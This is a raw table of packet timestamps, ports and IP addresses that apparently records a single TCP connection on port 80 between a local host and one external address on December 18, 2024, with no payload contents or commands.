Dec 18, 2024 12:00:10.539580107 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.539601088 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.539653063 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.542690039 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.542752981 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.542819023 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.542926073 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.545906067 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.546011925 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.546067953 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.546067953 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.549202919 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.549611092 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.549639940 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.549839020 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.552480936 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.552575111 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.552598000 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.553913116 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.555567026 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.555629015 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.555685997 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.555733919 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.559232950 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.559278011 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.559310913 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.559389114 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.562099934 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.562206984 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.562262058 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.562262058 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.565401077 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.565480947 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.565485954 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.566170931 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.568670988 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.568744898 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.568764925 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.568871021 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.571964979 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.572094917 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.572149992 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.572149992 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.575030088 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.575264931 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.575278997 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.575520992 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.578268051 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.578326941 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.578371048 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.581093073 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.581549883 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.581604004 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.581672907 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.581718922 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.584775925 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.584830999 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.584877014 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.584922075 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.587975025 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.588031054 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.588064909 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.588110924 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.591284037 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.591363907 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.591402054 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.591402054 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.594532967 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.594590902 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.594788074 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.594836950 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.598009109 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.598072052 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.598079920 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.598119974 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.601325035 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.601398945 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.601497889 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.601545095 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.604645967 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.604708910 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.604710102 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.604984045 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.608176947 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.608227968 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.608236074 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.613085985 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.678653002 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.678693056 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.678742886 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.678787947 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.679836035 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.679922104 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.679979086 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.679979086 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.682002068 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.682077885 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.682090044 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.682147980 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.684392929 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.684514046 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.684567928 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.686990976 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.687077045 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.687105894 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.687150955 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.689665079 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.689730883 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.689769983 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.689929008 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.692173958 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.692353010 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.692413092 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.692413092 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.694776058 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.694856882 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.694911003 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.695009947 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.697104931 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.697177887 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.697235107 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.697312117 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.699182034 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.699234009 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.699482918 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.700124025 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.701745033 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.701801062 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.701857090 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.701905012 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.704032898 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.704078913 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.704123020 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.704171896 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.705951929 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.706160069 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.706249952 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.706249952 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.708017111 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.708106995 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.708168983 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.708168983 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.710458994 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.710546970 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.710555077 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.710592031 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.712229967 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.712285042 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.712289095 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.714401960 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.714459896 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.714459896 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.714503050 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.716432095 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.716480017 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.716480017 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.716520071 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.717087984 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.718487024 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.718601942 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.718630075 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.720093012 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.720666885 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.720738888 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.720849991 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.720901966 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.722754002 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.722807884 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.722840071 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.723130941 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.724904060 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.724955082 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.724994898 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.726814032 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.726865053 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.726865053 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.726939917 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.728842020 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.728916883 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.728918076 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.728985071 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.729085922 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.731100082 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.731153011 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.731183052 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.731419086 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.733005047 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.733083010 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.733201027 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.733287096 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.735045910 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.735194921 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.735240936 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.735241890 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.737104893 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.737137079 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.737190962 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.737190962 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.739059925 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.739119053 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.739193916 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.739248991 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.741146088 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.741199970 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.741261959 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.741425991 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.743024111 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.743161917 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.743190050 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.743236065 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.745013952 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.745116949 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.745136023 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.745192051 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.747066975 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.747123003 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.747133017 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.747343063 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.748989105 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.749094009 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.749118090 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.749171972 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.750936031 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.751009941 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.751063108 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.751137018 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.753029108 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.753097057 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.753139019 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.753914118 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.754997015 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.755076885 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.755357981 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.756967068 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.757018089 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.757242918 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.757320881 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.759028912 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.759102106 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.759111881 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.759341002 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.760934114 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.761092901 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.761096954 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.761156082 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.762907982 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.763021946 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.763071060 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.763072014 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.764925003 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.765010118 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.765058994 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.765058994 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.766937017 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.767031908 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.767180920 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.767180920 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.768920898 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.769042969 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.769066095 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.770030022 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.771241903 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.771272898 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.771289110 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.771341085 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.772896051 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.772945881 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.773073912 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.775228977 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.775341034 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.775341034 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.775345087 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.777087927 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.777515888 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.777529955 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.777569056 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.779277086 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.779439926 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.779484987 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.779484987 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.781558037 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.781600952 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.781644106 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.782691002 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.783754110 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.783821106 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.783895969 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.784827948 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.785945892 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.786037922 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.786078930 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.786078930 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.787982941 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.788096905 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.789093971 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.789171934 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.790361881 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.792161942 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.870731115 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.870843887 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.871102095 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.871697903 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.871813059 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.871834040 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.872068882 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.872956991 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.873048067 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.873068094 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.873136997 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.874433041 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.874572992 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.874607086 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.874850035 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.875835896 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.875930071 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.875961065 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.876014948 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.877424955 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.877604961 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.877669096 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.878024101 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.878753901 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.878818989 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.878905058 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.879122972 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.879980087 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.880043030 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.880072117 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.880134106 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.881328106 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.881412983 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.881479979 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.881638050 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.882438898 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.882517099 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.882569075 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.882569075 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.883682966 CET	80	49914	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:10.883784056 CET	49914	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:10.883852959 CET	80	49914	185.215.113.16	192.168.2.6
